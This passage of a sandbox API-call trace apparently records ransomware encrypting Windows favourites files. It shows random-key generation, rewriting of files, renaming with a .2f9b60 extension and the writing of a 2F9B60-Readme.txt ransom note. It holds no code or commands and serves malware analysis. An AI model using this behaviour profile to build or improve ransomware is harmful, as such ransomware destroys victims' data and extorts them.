_Format="%c%c" | out: _Dest="bb") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1a4, _Format="%c%c" | out: _Dest="6d") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1a6, _Format="%c%c" | out: _Dest="9c") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1a8, _Format="%c%c" | out: _Dest="79") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1aa, _Format="%c%c" | out: _Dest="ac") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1ac, _Format="%c%c" | out: _Dest="fd") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1ae, _Format="%c%c" | out: _Dest="75") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1b0, _Format="%c%c" | out: _Dest="e3") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1b2, _Format="%c%c" | out: _Dest="2e") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1b4, _Format="%c%c" | out: _Dest="4c") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1b6, _Format="%c%c" | out: _Dest="3f") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1b8, _Format="%c%c" | out: _Dest="dc") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1ba, _Format="%c%c" | out: _Dest="78") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1bc, _Format="%c%c" | out: _Dest="16") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1be, _Format="%c%c" | out: _Dest="3f") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1c0, _Format="%c%c" | out: _Dest="8b") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1c2, _Format="%c%c" | out: _Dest="5d") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1c4, _Format="%c%c" | out: _Dest="74") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1c6, _Format="%c%c" | out: _Dest="22") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1c8, _Format="%c%c" | out: _Dest="22") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1ca, _Format="%c%c" | out: _Dest="99") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1cc, _Format="%c%c" | out: _Dest="3c") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1ce, _Format="%c%c" | out: _Dest="71") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1d0, _Format="%c%c" | out: _Dest="e5") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1d2, _Format="%c%c" | out: _Dest="76") returned 2 [0148.132] RtlInitAnsiString (in: DestinationString=0x239bfe68, SourceString="12bb6d9c79acfd75e32e4c3fdc78163f8b5d742222993c71e576" | out: DestinationString="12bb6d9c79acfd75e32e4c3fdc78163f8b5d742222993c71e576") [0148.132] RtlAnsiStringToUnicodeString (in: DestinationString=0x239bfe38, SourceString="12bb6d9c79acfd75e32e4c3fdc78163f8b5d742222993c71e576", AllocateDestinationString=1 | out: DestinationString="12bb6d9c79acfd75e32e4c3fdc78163f8b5d742222993c71e576") returned 0x0 [0148.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b868a40 [0148.133] RtlFreeAnsiString (AnsiString="1") [0148.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0148.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc40) returned 1 [0148.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f940) returned 1 [0148.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167ca0) returned 1 [0148.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0148.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0148.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85faf0) returned 1 [0148.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860660) returned 1 [0148.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262150) returned 1 [0148.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202620f0) returned 1 [0148.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262060) returned 1 [0148.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85ba30 [0148.134] wcscat (in: _Dest=0x1b85ba30, _Source="12bb6d9c79acf" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\12bb6d9c79acf") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\12bb6d9c79acf" [0148.134] wcscat (in: _Dest=0x1b85ba30, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\12bb6d9c79acf.2f9b60") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\12bb6d9c79acf.2f9b60" [0148.134] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Favorites\\MSN Websites\\12bb6d9c79acf.2f9b60", NtPathName=0x239bfe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Favorites\\MSN Websites\\12bb6d9c79acf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0148.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x205068b0 [0148.135] NtSetInformationFile (FileHandle=0x1510, IoStatusBlock=0x239bfeb0, FileInformation=0x205068b0, Length=0x98, FileInformationClass=0xa) [0204.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205068b0) returned 1 [0204.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202923b0) returned 1 [0204.026] NtQueryInformationFile (in: FileHandle=0x1510, IoStatusBlock=0x239bfe78, FileInformation=0x239bfe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x239bfe78, FileInformation=0x239bfe88) returned 0x0 [0204.026] NtSetInformationFile (FileHandle=0x1510, IoStatusBlock=0x239bfe78, FileInformation=0x239bfe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0208.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ba30) returned 1 [0208.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 [0208.252] FlushFileBuffers (hFile=0x1510) returned 1 [0208.256] CloseHandle (hObject=0x1510) returned 1 [0209.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x420612b0 [0209.795] wcscpy (in: _Dest=0x420612b0, _Source="C:\\Users\\Default\\Favorites\\MSN Websites\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0209.795] wcscat (in: _Dest=0x420612b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt" [0209.795] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\msn websites\\2f9b60-readme.txt")) returned 0x20 [0218.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0218.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 Thread: id = 848 os_tid = 0x310 [0101.003] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url")) returned 0x20 [0101.774] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url", dwFileAttributes=0x20) returned 1 [0101.775] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16f4 [0101.775] GetFileSizeEx (in: hFile=0x16f4, lpFileSize=0x243dfb40 | out: lpFileSize=0x243dfb40*=133) returned 1 [0101.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0101.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0101.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0101.775] NtQuerySystemTime (in: CurrentTime=0x243dfa00 | out: CurrentTime=0x243dfa00*=132462177073042000) returned 0x0 [0101.775] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x957d724 [0101.775] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x4b02a979 [0101.775] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x7cb70ac9 [0101.775] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x1ca07f63 [0101.775] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x71f65911 [0101.775] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x6f96e396 [0101.775] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x3ab97fa1 [0101.775] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x6844f731 [0101.775] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x7748df07 [0101.775] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x7acf72d9 [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0xbe6cb59 [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x506634a2 [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x75b65e5d [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x274978b2 [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x2b3ec338 [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x48dce1b5 [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x3f83eeed [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x4a37ef62 [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x3f9be39e [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x7955f56e [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x5485bac6 [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x5573c410 [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x48112ad5 [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x2a6b4eae [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x60a784f8 [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x7f22fa6d [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x276195ee [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x26e28a42 [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x17132344 [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x23d03dc4 [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x419e5a1a [0101.776] RtlRandomEx (in: Seed=0x243df9f0 | out: Seed=0x243df9f0) returned 0x1b05823c [0101.787] ReadFile (in: hFile=0x16f4, lpBuffer=0x20122d00, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x243df9f0, lpOverlapped=0x0 | out: lpBuffer=0x20122d00*, lpNumberOfBytesRead=0x243df9f0*=0x85, lpOverlapped=0x0) returned 1 [0101.788] SetFilePointerEx (in: hFile=0x16f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.788] WriteFile (in: hFile=0x16f4, lpBuffer=0x20139560*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x243df9f4, lpOverlapped=0x0 | out: lpBuffer=0x20139560*, lpNumberOfBytesWritten=0x243df9f4*=0x85, lpOverlapped=0x0) returned 1 [0147.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe50 [0147.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0147.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0147.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20139560) returned 1 [0147.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20122d00) returned 1 [0147.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ac0) returned 1 [0147.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd10) returned 1 [0147.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7aa1a0 [0147.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd10 [0147.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ac0 [0147.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0147.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0147.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7aa860 [0147.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0147.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860660 [0147.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860660) returned 1 [0147.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ac0) returned 1 [0147.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd10) returned 1 [0147.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11c) returned 0x1b7d3a20 [0147.853] SetFilePointerEx (in: hFile=0x16f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0147.853] WriteFile (in: hFile=0x16f4, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x243dfb10, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x243dfb10*=0x11c, lpOverlapped=0x0) returned 1 [0148.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0148.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ec0 [0148.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260710 [0148.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260710) returned 1 [0148.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cda07f0 [0148.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260710 [0148.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260740 [0148.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260740) returned 1 [0148.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0148.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0148.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9db50 [0148.124] sprintf (in: _Dest=0x1cd9db50, _Format="%c%c" | out: _Dest="9e") returned 2 [0148.124] sprintf (in: _Dest=0x1cd9db52, _Format="%c%c" | out: _Dest="92") returned 2 [0148.124] sprintf (in: _Dest=0x1cd9db54, _Format="%c%c" | out: _Dest="42") returned 2 [0148.124] sprintf (in: _Dest=0x1cd9db56, _Format="%c%c" | out: _Dest="da") returned 2 [0148.124] sprintf (in: _Dest=0x1cd9db58, _Format="%c%c" | out: _Dest="7a") returned 2 [0148.124] sprintf (in: _Dest=0x1cd9db5a, _Format="%c%c" | out: _Dest="a4") returned 2 [0148.124] sprintf (in: _Dest=0x1cd9db5c, _Format="%c%c" | out: _Dest="0e") returned 2 [0148.124] sprintf (in: _Dest=0x1cd9db5e, _Format="%c%c" | out: _Dest="04") returned 2 [0148.124] sprintf (in: _Dest=0x1cd9db60, _Format="%c%c" | out: _Dest="36") returned 2 [0148.124] sprintf (in: _Dest=0x1cd9db62, _Format="%c%c" | out: _Dest="b0") returned 2 [0148.124] sprintf (in: _Dest=0x1cd9db64, _Format="%c%c" | out: _Dest="02") returned 2 [0148.124] sprintf (in: _Dest=0x1cd9db66, _Format="%c%c" | out: _Dest="ea") returned 2 [0148.124] sprintf (in: _Dest=0x1cd9db68, _Format="%c%c" | out: _Dest="49") returned 2 [0148.124] sprintf (in: _Dest=0x1cd9db6a, _Format="%c%c" | out: _Dest="eb") returned 2 [0148.124] sprintf (in: _Dest=0x1cd9db6c, _Format="%c%c" | out: _Dest="1a") returned 2 [0148.124] sprintf (in: _Dest=0x1cd9db6e, _Format="%c%c" | out: _Dest="3d") returned 2 [0148.124] sprintf (in: _Dest=0x1cd9db70, _Format="%c%c" | out: _Dest="35") returned 2 [0148.124] sprintf (in: _Dest=0x1cd9db72, _Format="%c%c" | out: _Dest="04") returned 2 [0148.124] sprintf (in: _Dest=0x1cd9db74, _Format="%c%c" | out: _Dest="a3") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db76, _Format="%c%c" | out: _Dest="7f") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db78, _Format="%c%c" | out: _Dest="72") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db7a, _Format="%c%c" | out: _Dest="27") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db7c, _Format="%c%c" | out: _Dest="24") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db7e, _Format="%c%c" | out: _Dest="98") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db80, _Format="%c%c" | out: _Dest="3d") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db82, _Format="%c%c" | out: _Dest="12") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db84, _Format="%c%c" | out: _Dest="35") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db86, _Format="%c%c" | out: _Dest="88") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db88, _Format="%c%c" | out: _Dest="71") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db8a, _Format="%c%c" | out: _Dest="ab") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db8c, _Format="%c%c" | out: _Dest="7c") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db8e, _Format="%c%c" | out: _Dest="70") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db90, _Format="%c%c" | out: _Dest="52") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db92, _Format="%c%c" | out: _Dest="70") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db94, _Format="%c%c" | out: _Dest="69") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db96, _Format="%c%c" | out: _Dest="aa") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db98, _Format="%c%c" | out: _Dest="98") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db9a, _Format="%c%c" | out: _Dest="57") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db9c, _Format="%c%c" | out: _Dest="f9") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9db9e, _Format="%c%c" | out: _Dest="cc") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9dba0, _Format="%c%c" | out: _Dest="91") returned 2 [0148.125] sprintf (in: _Dest=0x1cd9dba2, _Format="%c%c" | out: _Dest="57") returned 2 [0148.125] RtlInitAnsiString (in: DestinationString=0x243dfb88, SourceString="9e9242da7aa40e0436b002ea49eb1a3d3504a37f722724983d12358871ab7c70527069aa9857f9cc9157" | out: DestinationString="9e9242da7aa40e0436b002ea49eb1a3d3504a37f722724983d12358871ab7c70527069aa9857f9cc9157") [0148.125] RtlAnsiStringToUnicodeString (in: DestinationString=0x243dfb58, SourceString="9e9242da7aa40e0436b002ea49eb1a3d3504a37f722724983d12358871ab7c70527069aa9857f9cc9157", AllocateDestinationString=1 | out: DestinationString="9e9242da7aa40e0436b002ea49eb1a3d3504a37f722724983d12358871ab7c70527069aa9857f9cc9157") returned 0x0 [0148.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279070 [0148.126] RtlFreeAnsiString (AnsiString="9") [0148.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9db50) returned 1 [0148.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0148.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260710) returned 1 [0148.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0148.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa860) returned 1 [0148.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0148.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0148.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fe50) returned 1 [0148.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264010) returned 1 [0148.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f940) returned 1 [0148.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc40) returned 1 [0148.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x205064f0 [0148.127] wcscat (in: _Dest=0x205064f0, _Source="9e9242da7aa40e0436b00" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\9e9242da7aa40e0436b00") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\9e9242da7aa40e0436b00" [0148.127] wcscat (in: _Dest=0x205064f0, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\9e9242da7aa40e0436b00.2f9b60") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\9e9242da7aa40e0436b00.2f9b60" [0148.127] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Favorites\\MSN Websites\\9e9242da7aa40e0436b00.2f9b60", NtPathName=0x243dfb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Favorites\\MSN Websites\\9e9242da7aa40e0436b00.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0148.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac790 [0148.128] NtSetInformationFile (FileHandle=0x16f4, IoStatusBlock=0x243dfbd0, FileInformation=0x202ac790, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0164.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac790) returned 1 [0164.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291000) returned 1 [0164.355] NtQueryInformationFile (in: FileHandle=0x16f4, IoStatusBlock=0x243dfb98, FileInformation=0x243dfba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x243dfb98, FileInformation=0x243dfba8) returned 0x0 [0164.355] NtSetInformationFile (FileHandle=0x16f4, IoStatusBlock=0x243dfb98, FileInformation=0x243dfba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205064f0) returned 1 [0164.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279070) returned 1 [0164.360] FlushFileBuffers (hFile=0x16f4) returned 1 [0166.258] CloseHandle (hObject=0x16f4) returned 1 [0183.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b8679c0 [0183.964] wcscpy (in: _Dest=0x1b8679c0, _Source="C:\\Users\\Default\\Favorites\\MSN Websites\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0183.964] wcscat (in: _Dest=0x1b8679c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt" [0183.964] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\msn websites\\2f9b60-readme.txt")) returned 0xffffffff [0188.371] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\msn websites\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a04 [0201.227] WriteFile (in: hFile=0x2a04, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x243dfa50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x243dfa50*=0xba9, lpOverlapped=0x0) returned 1 [0209.358] CloseHandle (hObject=0x2a04) returned 1 [0222.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8679c0) returned 1 [0222.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4380) returned 1 Thread: id = 849 os_tid = 0x6fc [0101.005] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url")) returned 0x20 [0101.759] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url", dwFileAttributes=0x20) returned 1 [0101.760] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15fc [0101.760] GetFileSizeEx (in: hFile=0x15fc, lpFileSize=0x24a3f8a0 | out: lpFileSize=0x24a3f8a0*=133) returned 1 [0101.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0101.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202601d0 [0101.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0101.760] NtQuerySystemTime (in: CurrentTime=0x24a3f760 | out: CurrentTime=0x24a3f760*=132462177072886000) returned 0x0 [0101.760] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x39ab33ed [0101.760] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x709fe9f [0101.760] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x45fe9500 [0101.760] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x2bf0b15e [0101.760] RtlRandomEx (in: Seed=0x24a3f750 | out: 